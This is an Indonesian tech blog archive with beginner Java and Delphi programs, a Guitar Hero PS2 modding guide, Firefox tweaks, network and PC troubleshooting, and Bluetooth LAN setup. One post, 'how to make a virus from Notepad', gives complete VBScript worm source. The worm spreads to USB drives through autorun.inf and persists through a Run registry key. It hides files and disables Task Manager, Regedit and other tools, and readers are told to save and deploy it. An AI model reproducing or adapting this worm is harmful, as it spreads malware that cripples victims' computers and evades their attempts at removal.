Masih ingat dengan Nyanyian Tekotek-Kotek Anak ayam Turun berkotek, dan sekarang kita akan membuatnya pada Java
import java.lang.*;
import java.io.*;
class anakayam { //tkj-informatika
public static void main(String[] args) {
int N=0;
int A=0;
String input=" ";
DataInputStream in = new DataInputStream(System.in);
//meminta jumlah anak ayam
try {
System.out.print("masukkan jumlah anak ayam = ");
input = in.readLine();
N = Integer.parseInt(input);
}
catch (Exception e) {}
//perulangan dimulai
A = N;
while (A > 1)
{
System.out.println("Tekotek kotek-kotek....");
System.out.println("Anak Ayam Turun berkotek....");
System.out.println("Anak Ayam turunlah " + A);
A--;
System.out.println("Mati 1 Tinggalah " + A);
System.out.println(" ");
}
System.out.println("Anak Ayam Turunlah " + A);
System.out.println("Mati 1 Tinggal Induknya");
}
}
FB
Java Membuat Lagu Anak Ayam
Monday, March 22, 2010
Labels:
Java,
Pemrograman
Posted by
Rangga Pratama
at
11:28 AM
0
comments
Java Membuat Bilangan Fibonacci
Sunday, March 14, 2010
Sekarang Kita akan membuat Bilangan Fibonaci yang Angkanya di bawah 20
Ni Listing Codingnya:
class Fibonacci {
public static void main(String[] arg) {
int A=1;
int B=1;
System.out.println(A);
while (B<20) {
System.out.println(B);
B=A+B;
A=B-A;
}
}
}
Labels:
Java,
Pemrograman
Posted by
Rangga Pratama
at
8:58 PM
0
comments
Membuat Array Baris dan Kolom
Berikut ini merupakan cara Membuat Array Matriks Baris dan Kolom secara Sedenhana yang saya buat
Ni Listingnya:
procedure TForm1.Button1Click(Sender: TObject);
var
Data : array of array of integer;
Baris, kolom : word;
begin
// Menentukan panjang array untuk setiap dimensi
SetLength( Data,
StrToInt(baris_array.Text), // panjang dimensi 1
StrToInt(kolom_array.Text)); // panjang dimensi 2
//pemasukkan data ke array
for Baris := 0 to StrToInt(baris_array.Text)-1 do
for Kolom := 0 to StrToInt(kolom_array.Text)-1 do
Data[Baris,kolom] := Baris+kolom;
// mengosongkan data pd Listbox
ListBox1.Clear;
//menampilkan data array
for Baris := 0 to StrToInt(baris_array.Text)-1 do
for Kolom := 0 to StrToInt(kolom_array.Text)-1 do
Listbox1.Items.Add('[' + IntToStr(Baris) + ',' + IntToStr(Kolom)+']=' +
IntToStr(Data[Baris,kolom]));
end;
end.
Labels:
Delphi,
Pemrograman
Posted by
Rangga Pratama
at
8:26 PM
0
comments
Cara Membuat Guitar Hero PS2 menjadi versi Indonesia
Berikut ini merupakan Cara untuk mengedit Guitar Hero 2 menjadi Versi Indonesia atau lagu yang kita inginkan.
Dibawah ini merupakan Software-Software yang dibutuhkan :
1. Feedback untuk bikin notnya
2. GHEX (Guitar Hero Explorer) untuk masukin lagu dan chart
3. GH2NE untuk edit daftar lagu dan tulisan-tulisan lain
4. Milo Explorer untuk ganti gambar
5. CDVD GEN untuk buat file IML
6. IML2ISO untuk buat file ISO PS2
7. .Net Framework 2.0 keatas untuk menjalankan aplikasi GHEX & Feedback
8. Chart Viewer
9. Winhiip untuk copy ISO game PS2 ke HDD
Sebelum memulai langkah demi langkah menjalankankan program pengeditan Guitar Hero disarankan untuk menginstall program .Net framework
karena apabila program tersebut belum terinstall pada komputer maka ada beberapa program yang tidak bisa dijalankan karena membutuhkan kompatibel dari software tersebut.
Langkah pertama
Copykan Isi guitar hero DVD ke HDD Windows simpan pada folder ynag mudah kita ingat, awas jangan sampai binun nantinya.
Setelah pengcopy-an selesai buka GHEX pilih Archive lalu Add lalu browse dimana data Guitar Hero tadi di kopi Buka Gen lalu Main.HDR
Maka isi dari Main.HDR akan terload.
Langkah Kedua
Buka Program Feedback, maka tampilan awal yang didapat adalah Menu bantuan tekan tombol Esc untuk menghilangkan menu tersebut lalu Esc lagi untuk memilih lagu yang akan dibuat not-nya tetapi sebelumnya copykan lagu yang ingin dibuat not-nya pada folder song yang ada di folder Feedback lalu pilih New Chart dan pilih lagu yang akan kamu buat not-nya, terus cocokan not-notnya sesuai dengan bunyi guitar.
Setelah selesai membuat not-nya sekarang kita siap untuk memasukkan lagu yang baru kita buat kedata Guitar Hero tersebut.
Langkah Ketiga
Lihat kembali Guitar Hero Explorer (GHEX) pilih Song terus klik folder lagu yang ingin diganti lagunya lalu pertama-tama kita masukkan chartnya dulu caranya klik kanan file xxxx.mid pilih import lalu browse ke folder Ghex terus ke song dan pilih chart yang baru kaita buat tadi maka akan muncul jendela informasi bahwa lagu yang akan kita ganti tersebut maka pilih OK selanjutnya kita mengganti lagunya yaitu file mp3 klik kanan pada file xxxx.vgs lalu pilih import maka akan terbuka jendela dari GHEX mengenai import .vgs. klik kanan pada area kosong pilih add lalu browse dimana file mp3 yang akan kita ganti.
Ket : file mp3-nya harus sama yang kita buat chartnya tadi agar tidak keliru buat folder masing-masing lahu & chart agar memdahkan kita walaupun chart tersebut sudah diberi nama yang sama antara file mp3 dan chart yang kita buat.
Setelah terload file mp3 tadi pilih vhanelnya dengan left atau right (vhanel kiri dan kanan) lalu klik OK. Selesai deh kita mengganti lagu Guitar hero dengan kreasi kita sendiri.
Langkah Keempat
Mengganti Daftar lagu yang baru kita buat sesuai dengan judul lagu dan nama band-nya caranya
Buka GH2NE tetapi sebelumnya kita harus mengextrac file song.dtb yang ada pada data Main.HDR caranya kembali ke GHEX klik config lalu gen lalu klik mouse kanan song.dtb pilih extract lalu browse dimana kita akan menyimpannya file song.dtb tersebut. Agar tidak bingung kumpulkan jeroan-jeroannya pada folder tersendiri misalnya EDIT GH. Setelah GH2NE dibuka klik file terus open file terus browse dimana file song.dtb tadi diextract lalu open maka data lagu-lagu yang ada pada file song.dtb akan terload
lalu pilih lagu yang tadi kita sudah import chart dan file mp3-nya untuk dirobah namanya, lalu sorot dan isikan pada :
Name : (sesuai dengan judul lagu-nya)
Artist : (sesuai dengan nama band-nya atau penyayinya)
Preview : (biarkan default saja karena sudah otomatis)
Pada Band Settings : (sesuaikan suara penyanyinya misalkan Male Singer (penyanyi/ suara laki-laki), Female singer (penyanyi/ suara wanita) atau Instrumental (hanya music saja)).
Character : (terserah mau ganti atau tidak)
Guitar : Idem
Venue : Idem
Bila sudah merasa sesuai klik save.
Bila sudah tidak ada lagu yang akan di robah lagi lihat kembali GHEX masih pada song.dtb klik mouse kanan pilih import lalu browse dimana file song.dtb yang baru saja kita edit tadi klik open tunggu sampai selesai.
Selesai lah sudah kita membuat lagu versi kita sendiri. Selanjutnya msuk ketahap berikut.
Langkah Kelima
Membuat file ISO tersebut untuk dijadikan DVD atau untuk HDD PS2 disini saya menerangkan untuk dijadikan ISO HDD PS2 caranya buka program CDVDGEN bawaan dari sony bukan CDVDGEN PS2 karena akan tidak terbaca olehnya.
Buka CDVDGEN pilih Create New Project lalu open terus pilih DVD-ROM Master Disc klik open lalu masukkan Data Guita Hero satu persatu dengan urutan System.cnf, GEN (folder), IOP (folder) terakhir SLUS_333.24 (slus disesuikan) selanjutnya buka tab VOLUME pada Disc Name : SLUS-33324, Product Name : Nama filenya misal GH Indo dan pada License area pilih : America setelah itu klik FILE lalu pilih Expor IML FILE lalu save terserah dimana saja dengan namafile terserah juga atau GH Indo bila sudah keluar program CDVDGEN dan jangan menyimpannya atau terserah.
Ket sebelum mempuat file IML dengan CDVDGEN sebelumnya tutup semua program-program yang berhubungandengan pengeditan Guitar Hero.
Langkah Keenam
Buka program IML2ISO pada Tab IML File (...) klik dan browse dimana file IML yang baru kita buat tadi klik Open lalu pilih Start dan tunggu sampai proses selesai sampai ada pemberitahuan Success dan klik OK. Jadi deh tinggal kita masukkan kedalam HDD PS2.
Caranya Buka program Winhiip sudah pada tau kan kalo belum nih caranya
Pilih Select Drive pada program Winhiip pilih HDD PS2 kamu lalu klik Add Image(s) lalu Add Immage dan browse dimana File ISO yang bary saja kita buat dengan program IML2ISO tadi klik Open lalu Start dan jangan lupa Pilih Mode 3 dan Start tunggu sampai selesai import immage tersebut dan pasang HDD pada PS2 untuk dimainkan.
Enjoy Bro.
Labels:
Multimedia
Posted by
Rangga Pratama
at
2:31 PM
0
comments
Mempercepat Mozilla Firefox
Lagi Iseng-Iseng berbagi Ilmu Tentang Meningkatkan Kecepatan Modzilla Filefox yang pernah saya Coba.
Berikut ini Merupakan Tutorialnya :
1. ketik "about:config" pada address bar dan tekan enter. turunkan scroll kebawah dan cari entries berikut :
network.http.pipelining
network.http.proxy.pipelining
network.http.max-connections-per-server
network.http.pipelining.maxrequests
network.http.max-connections
network.http.max-persistent-connections-per-proxy
network.http.max-persistent-connections-per-server
Secara normal browser akan membuat satu request untuk satu halaman web dalam satu kali . ketika kamu enable pipelining, itu akan membuat beberapa halaman dalam sekali. dan akan mempercepat page loading
2. rubah entries berikut menjadi :
Set "network.http.pipelining" menjadi "true"
Set "network.http.proxy.pipelining" menjadi "true"
set "network.http.max-connections-per-server" menjadi 32.
set "network.http.max-connections" menjadi 60.
set "network.http.max-persistent-connections-per-proxy" menjadi 16.
set "network.http.max-persistent-connections-per-server" menjadi 8.
set "network.http.pipelining.maxrequests" menjadi nilai seperti "30".
3.klik kiri (dimana saja) select New-> Integer. masukan "nglayout.initialpaint.delay" pada prefence name, kemudia set nilai menjadi "0".
klik kiri sekali lagi (dimana saja) select New-> boolean. masukan "browser.tabs.showSingleWindowModePrefs" set menjadi "true"
Fasterfox - http://addons.mozilla.org/firefox/1269/
Buat ningkatin kecepatan internet (loading pages), sangat berguna saat digunakan di komputer jaringan.
DownThemAll - http://addons.mozilla.org/firefox/201/
Buat ningkating kecepatan download (downloading), menurut developernya bisa sampai 400% peningkatannya.. (katanya sih..)
Labels:
Jaringan,
Teknik Komputer
Posted by
Rangga Pratama
at
2:15 PM
0
comments
CARA MEMBUAT VIRUS DARI NOTEPAD
Lagi Iseng-iseng mencolok Flash Disk saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS (Ekstensi virus Buatan Visual Basic). Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.
Sesuai janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”.
Sekarang buka Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//–Manip - Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs.
Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
Hhheeee artikel ini minjem teman yang hobi ternak virus maklumlah saya masih newbie je, tapi da kurubah sedikit registrinya tambah jrenggggg!!!! Jadilah orang bermanfaat bagi orang lain…….
Labels:
Pemrograman,
Teknik Komputer
Posted by
Rangga Pratama
at
2:07 PM
0
comments
Troubleshooting Masalah Jaringan Komputer
Wednesday, March 10, 2010
Bagaimana kita melakukan troubleshooting masalah jaringan?
Jika kita bertanggung jawab pada suatu jaringan infrastruktur corporate berskala besar, kita harus mempunyai kemampuan untuk menyelesaikan masalah yang berkaitan dengan jaringan baik masalah yang berdampak hanya pada sebuah komputer yang tidak bisa connect terhadap jaringan maupun masalah yang berimbas pada ambruknya system jaringan yang mempengaruhi system komunikasi jaringan secara global.
Jika sebuah komputer mengalami masalah komunikasi jaringan, banyak sebenarnya kemungkinan sumber masalah yang melatarbelakanginya. Permasalahan bisa jadi terletak pada stack protocol TCP/IP, bisa jadi terletak pada protocol layer data-link, atau mungkin saja dikarenakan masalah kerusakan piranti jaringan atau mungkin saja terputusnya kabel patch jaringan.
Scenario masalah jaringan berikut ini akan didiskusikan menurut jenis masalah yang mungkin saja terjadi pada sebuah komputer saja atau terjadi pada terganggunya jaringan corporate secara global, dengan menggunakan pendekatan troubleshooting masalah jaringan.
Masalah pada sebuah komputer
Kita misalkan sebuah komputer di kantor mining (harap mengacu pada gambar diatas) tidak dapat terhubung dengan jaringan, bagaimana anda melakukan troubleshooting masalah jaringan ini?
Untuk memudahkan troubleshooting masalah jaringan, sudah seharusnya anda mempunyai dokumentasi jaringan dari mulai diagram jaringan secara keseluruhan, system infrastructure fisik dan logical anda seperti system layanan directory, server domain name system, layanan DHCP server jaringan, dan lain-2.
Anda bisa memulai troubleshooting masalah jaringan ini sebagai berikut:
1. Apakah user bisa logon dan bisa mengakses resource jaringan?
a. TIDAK, apakah anda bisa logon menggunakan user admin account anda dan mengakses resource jaringan?
i. YA, periksa user account tersebut apakah masih valid, apakah user-name dan password sudah benar, apakah user-account tidak expired atau mungkin account lock-out yang biasanya dibarengi dengan system error waktu logon.
ii. TIDAK, berarti ada masalah, lanjut ke step 2
b. YA, berarti tidak ada masalah
2. Logon ke komputer dengan menggunakan local admin account, dan periksa konfigurasi protocol TCP/IP dengan command line “ipconfig /all” periksa hasilnya apa komputer sudah mendapatkan IP address dari DHCP server atau tidak? Periksa property TCP/IP nya apakah sudah di setup untuk menerima IP address otomatis “obtain an IP address automatically” dan juga “obtain DNS server automatically”
a. Jika setup nya salah, betulkan terlebih dahulu untuk menerima IP address secara automatis. Lompat kembali pada step 1.
b. Jika konfigurasi normal, tetapi tidak menerima IP address, lanjutkan pada step 3
3. Periksa apakah kabel patch ke tembok (kearah Swich) terputus atau tidak, atau mungkin lepas?
a. YA, jika kabel patch terputus, ganti dengan kabel yang bagus. Jika kabel terlepas, colokkan kembali dengan benar, lalu kembali ke step 1
b. TIDAK, periksa apakah indicator lampu led pada adapter LAN/NIC pada komputer berkedip atau tidak, biasanya ada dua lampu led – lampu jaringan yang selalu berkedip dan lampu power yang biasanya berwarna hijau konstan. Jika kedua lampu led indicator nyala, maka tidak ada masalah dengan jaringan.
Apakah lampu indicator jaringan berkedip atau tidak?
i. YA, seharusnya tidak ada masalah dengan jaringan.
ii. TIDAK, teruskan ke step 4
4. Logon dengan menggunakan account admin local dan periksa apakah “LAN Card” di-disabled?
a. YA, berarti masalahnya LAN card disabled, anda bisa klik kanan dan pilih opsi “enabled” terus test lagi dengan melakukan “ipconfig /all” apakah IP address sudah diterima? Kalau belum, coba lagi dengan command “ipconfig /renew”, jika sudah dapat berarti sudah OK.
b. TIDAK, lanjutkan ke step 5
5. Ganti kabel patch dengan yang baru/bagus, apalah sekarang anda bisa logon dan mengakses resource jaringan?
a. YA, maka sampai disini anda menyelesaikan masala.
b. TIDAK, ada tiga kemungkinan sumber masalah:
i. NIC adapter rusak
ii. Port Switch faulty
iii. Kabel LAN antara sambungan di tembok ke Swicth bermasalah, bisa jadi kabel tersebut diserang / digigit tikus.
6. Jika anda ada LAN tester, itu akan memudahkan anda, anda bisa melakukan testing ke port RJ45 di wall-jack (sambungan ditembok), apakah ada sinyal LAN?
a. YA, jika line jaringan sudah OK, maka bisa dipastikan LAN adapter rusak. Ganti NIC adapter dan lompat ke step 1.
b. TIDAK, anda bisa memastikan sekarang bahwa sumber masalah adalah kabel antara sambungan di tembok (wall-jack) dengan Switch bermasalah. Anda bisa meminta teknisi kabel untuk menarik kabel baru antara wall-jack ke switch.
7. Selamat anda telah menyelesaikan troubleshooting masalah jaringan pada sebuah komputer yang tidak bisa mengkases jaringan.
Satu blok gedung tidak bisa mengakses jaringan
Troubleshooting masalah jaringan yang berdampak pada satu blok gedung tidak bisa mengakses jaringan akan lebih mudah troubleshootingnya akan tetapi lebih lama memperbaikinya. Jika saja anda membuat system redundansi link antar dua gedung tersebut, maka satu kabel bermasalah tidak akan membuat jaringan backbone anda terputus total, akan tetapi tetap saja anda harus memperbaikinya.
Lihat pada diagram diatas, antar dua gedung ditarik dua kabel backbone redundansi dengan mengaktifkan protocol STP (spanning tree protocol) pada kedua Switch sehingga jika terjadi masalah/terputus salah satu kabel, maka system jaringan hanya memerlukan beberapa detk saja untuk mengaktifkan kabel redundansi satunya lagi sehingga jaringan aktif kembali. Inilah fungsi protocol STP yang bekerja secara automatis, akan tetapi jika protocol STP ini tidak aktif maka anda akan mendapatkan masalah dengan broadcast storm, paket akan berputar-putar tanpa henti sampai kecapekan sendiri, da akibatnya jaringan anda menjadi super lambat.
Sekarang bagaimana anda bisa melakukan troubleshooting masalah jaringan jika seluruh jaringan local anda tidak bisa mengakses keluar Internet? Atau bagaimana anda melakukan troubleshooting jika telecommuter tidak bisa mengakses jaringan corporate secara remote?
Gunakan tool seperti: tracert; ping; dan pathping; ketiganya sangat efektif untuk membantu kita melakukan troubleshooting masalah jaringan antar site. Mungkin saja ada masalah dengan circuit switch frame relay di central office, atau jaringan leasing point-to-point anda ke ISP, atau bisa saja ada masalah dengan jaringan satellite anda (jika anda di remote site). Dan biasanya anda perlu troubleshooting pada layer network pada model referensi OSI.
Salam,
Labels:
Jaringan,
Teknik Komputer
Posted by
Rangga Pratama
at
9:58 PM
3
comments
TROUBLESHOOTING PADA KOMPUTER
Terdapat dua macam teknik dalam mendeteksi permasalahan dalam komputer, yaitu teknik Forward dan teknik Backward. Untuk lebih mengenal kedua teknik tersebut, ada baiknya kita bahas terlebih dahulu definisi dari masing-masing teknik tersebut.
1. Teknik Forward
Sesuai dengan namanya, maka dalam teknik ini segala macam permasalahan dideteksi semenjak awal komputer dirakit dan biasanya teknik ini hanya digunakan oleh orang-orang dealer komputer yang sering melakukan perakitan komputer. Pada teknik ini hanya dilakukan pendeteksian masalah secara sederhana dan dilakukan sebelum komputer dinyalakan (dialiri listrik). Untuk mempermudah silakan simak contoh berikut :
* Setelah komputer selesai dirakit, maka dilakukan pemeriksaan pada semua Hardware yang telah terpasang, misalnya memeriksa hubungan dari kabel Power Supply ke soket power pada Motherboard.
* Untuk casing ATX, kita periksa apakah kabel Power Switch sudah terpasang dengan benar.
* dsb.
2. Teknik Backward
Hampir sama dengan teknik sebelumnya, teknik Backward adalah teknik untuk mendeteksi kesalahan pada komputer setelah komputer dinyalakan (dialiri listrik). Teknik lebih banyak digunakan karena pada umumnya permasalahan dalam komputer baru akan timbul setelah “jam terbang” komputernya sudah banyak dan ini sudah merupakan hal yang wajar. Dapat kita ambil beberapa contoh sebagai berikut :
* Floppy Disk yang tidak dapat membaca disket dengan baik.
* Komputer tidak mau menyala saat tombol power pada casing ditekan.
* dsb.
Analisa Suara
Pada tahapan ini pendeteksian masalah menggunakan kode suara (beep) yang dimiliki oleh BIOS dan dapat kita dengar lewat PC Speaker. Pastikan kabel PC Speaker sudah terpasang dengan baik. Kemungkinan letak permasalahan ada di komponen nomor 4 dan 5. Untuk mempermudah pengenalan kode suara tersebut, silakan simak keterangan berikut :
* Bunyi beep pendek satu kali, artinya sistem telah melakukan proses Boot dengan baik.
* Bunyi beep pendek 2 kali, artinya ada masalah pada konfigurasi atau seting pada CMOS.
* Bunyi beep panjang 1 kali dan pendek 1 kali, artinya ada masalah pada Motherboard atau DRAM.
* Bunyi beep panjang 1 kali dan pendek 2 kali, artinya ada masalah pada monitor atau VGA Card.
* Bunyi beep panjang 1 kali dan pendek 3 kali, artinya ada masalah pada Keyboard.
* Bunyi beep panjang 1 kali dan pendek 9 kali, artinya ada masalah pada ROM BIOS.
* Bunyi beep panjang terus-menerus, artinya ada masalah di DRAM.
* Bunyi beep pendek terus-menerus, artinya ada masalah penerimaan tegangan (power).
* Pada beberapa merk Motherboard akan mengeluarkan bunyi beep beberapa kali apabila temperatur processornya terlalu tinggi (panas).
Catatan : kode bunyi beep diatas berlaku pada AWARD BIOS, untuk jenis BIOS yang lain kemungkinan memiliki kode bunyi beep yang berbeda.
Analisa Tampilan
Pada tahapan ini pendeteksian masalah cenderung lebih mudah karena letak permasalahan dapat diketahui berdasarkan pesan error yang ditampilkan di monitor. Kemungkinan letak permasalahan ada di komponen nomor 6 sampai 9.
Contoh : Pada saat komputer dinyalakan tampil pesan Keyboard Error, maka dapat dipastikan letak permasalahan hanya pada Keyboard.
Cara Cepat Mengenali Troubleshooting
* Apabila terjadi masalah dan sistem masih memberikan tampilan pesan pada monitor atau disertai dengan bunyi beep 1 atau 2 kali, maka kemungkinan letak permasalahan ada di komponen nomor 6 sampai 9, yaitu pada Keyboard, Card I/O, Disk Drive dan Disket.
* Apabila terjadi masalah dan sistem memberikan kode bunyi beep lebih dari 2 kali, maka kemungkinan letak permasalahan ada di komponen nomor 4 dan 5, yaitu RAM, VGA Card dan Monitor.
* Sedangkan untuk masalah yang tidak disertai pesan pada monitor atau kode bunyi beep, kemungkinan besar letak permasalahan ada di komponen nomor 1 dan 2, yaitu Power Suplly dan Motherboard.
Dengan kedua macam teknik dalam pendeteksian maslah dalam komputer tersebut, tentunya akan lebih memperkaya pengetahuan kita di bidang komputer, jadi jika suatu saat terdapat masalah pada komputer Anda kita dapat melakukan pemeriksaan terlebih dahulu sebelum membawa ke tempat servis, kalaupun harus membawa ke tempat servis kita sudah mengerti letak permasalahannya, jadi kita tidak dibohongi oleh tukang servis yang nakal ; )
Dengan pemahaman troubleshooting komputer yang lebih dalam tentunya akan lebih mempermudah kita untuk mengetahui letak permasalahan dalam komputer dan tentunya akan lebih menyenangkan apabila kita dapat memperbaiki sendiri permasalahan tersebut. Semoga pembahasan sederhana tentang troubleshooting ini dapat bermanfaat,
selamat mencoba dan terima kasih.
Labels:
Teknik Komputer
Posted by
Rangga Pratama
at
9:49 PM
0
comments
Delphi Menghitung Luas dan Keliling Segitiga
var
Form1: TForm1;
a,b,kel,luas:Single;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
a:=StrToFloat(txtAlas.Text);
b:=StrToFloat(txtTinggi.Text);
kel:=a+a+b;
luas:=a*b/2;
txtKel.Text:=(FloatToStr(kel));
txtLuas.Text:=(FloatToStr(luas));
end;
end.
Labels:
Pemrograman
Posted by
Rangga Pratama
at
9:43 PM
0
comments
Delphi Membuat Kalkulator Sederhana
Kalkulator Sederhana yang pernah Saya Buat
Ni Listingnya:
var
Form1: TForm1;
a,b,z:double;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
a:=StrToFloat(txtVal1.Text);
b:=StrToFloat(txtVal2.Text);
z:=a+b;
ShowMessage(FloatToStr(z));
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
a:=StrToFloat(txtVal1.Text);
b:=StrToFloat(txtVal2.Text);
z:=a-b;
ShowMessage(FloatToStr(z));
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
a:=StrToFloat(txtVal1.Text);
b:=StrToFloat(txtVal2.Text);
z:=a*b;
ShowMessage(FloatToStr(z));
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
a:=StrToFloat(txtVal1.Text);
b:=StrToFloat(txtVal2.Text);
z:=a/b;
ShowMessage(FloatToStr(z));
end;
end.
Labels:
Delphi,
Pemrograman
Posted by
Rangga Pratama
at
9:36 PM
0
comments
Membuat Jaringan(LAN) dengan Bluetooth
Tuesday, March 9, 2010
Ternyata bluetooth juga selain untuk berkirim dan menerima data juga bisa dijadikan untuk LAN atau sering disebut local area network atau dalam bahasa indonesianya disebut jaringan..
untuk membuat jaringan dengan bluetooth caranya seperti ini:
1.siapkan 2 buah bluetooth(kalo kita hanya ingin membuat jaringan dengan 2 komputer) beserta drivernya
2.pasang bluetooth di USB computer lalu install bluetooth seperti biasa..
3.jika installasi sudah sukses..biasanya akan muncul icon bluetooth di tray bar.kalo warnanya sudah putih berarti bluetooth aktif dan siap digunakan.tapi jika masih merah berarti bluetooth belum aktif.maka yang harus kita lakukan adalah klik kanan iconnya lalu pilih start bluetooth device.
4.coba pairing(menghubungkan) antara 1 computer dengan computer lain.caranya klik kanan icon bluetooth pilih quick connect-network acces-other device..silakan tuggu sebentar,bluetooth sedang mencari perangkat yang aktif..
Jika ada perangkat yang aktif maka akan muncul nama komputer,klik nama komputer itu.biasanya saat pertama kali pairing akan diminta memasukkan code tertentu..masukkan saja sembarang code tapi ingat code yang dimasukkan harus sama antara satu komputer dengan komputer lainnya...
5.Jika sukses maka akan keluar tulisan "created network with..."
6.sekarang komputer anda sudah siap untuk saling bertukar data.
7.Tetapi biasanya untuk sharing internet masih belum bisa.kita harus melakukan settingan tertentu.. caranya pilih control panel-network connection-pilih coneksi yang kamu pakai,trus klik kanan pilih properties-advanced.disana akan ada pilihan internet connection sharing.
aktifkan pilihan "allow other network users to connect through this computer internet's connection"..lalu di kotak home network connection pilih "bluetooth network"
sekarang anda sudah siap berselancar internet dengan 2 komputer tanpa direpotkan oleh kabel...
jika ada pertanyaan silahkan isi kotak komentar..
catatan:biasanya untuk setiap bluetooth pilihannya berbeda beda.tapi pada intinya yang penting ada pilihan network acces,berarti bluetooth itu bisa dijadikan jaringan..
Labels:
Jaringan
Posted by
Rangga Pratama
at
8:47 AM
0
comments
Mengenal Bahasa Python
